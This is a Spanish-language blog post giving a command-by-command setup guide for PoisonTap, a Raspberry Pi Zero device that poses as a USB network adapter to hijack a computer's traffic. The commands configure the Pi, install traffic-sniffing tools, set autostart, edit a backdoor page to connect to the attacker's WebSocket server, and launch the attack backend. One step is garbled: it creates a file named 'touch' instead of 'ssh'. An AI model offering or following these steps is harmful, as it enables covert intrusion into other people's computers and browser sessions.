miércoles, julio 18, 2018

Como hacer un poisonTap

PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:

Requisitos: 

- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD

Instalar raspbian en sd 



Instalar y ejecutar etcher 

cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage


Configurar la raspberry para que funcione como adaptador ethernet. 

Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)

Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2

echo "dtoverlay=dwc2" >> /media/user/boot/config.txt

Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)

touch /media/user/boot/touch 

Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación. 

sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt

Conectarse al dispositivo mediante ssh 

Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)

Para conseguirlo, hay que realizar los siguientes pasos: 

1. Ir a configuración de red 
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only) 
4. Apagar y prender el adaptador de red desde la configuración. 

Una vez que diga "conectado" debes ejecutar:

ssh pi@raspberrypi.local  (directamente con la ip no funciona en la mayoría de los casos) 
La contraseña por defecto es raspberry.

IP FORWARDING IN THE HOST

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  (eth0 interfase con internet en host) 

IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC


Configurar el DNS 
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf


Configurar Raspberry Pi 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar)
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Luego, 

nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');) 

Luego copiar el archivo de configuración de DCHP. 

sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf


SERVER 

Ejecutar en el servidor host del ataque. 

sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &

Fuentes: 


No hay comentarios.:

Publicar un comentario

¡Comenta!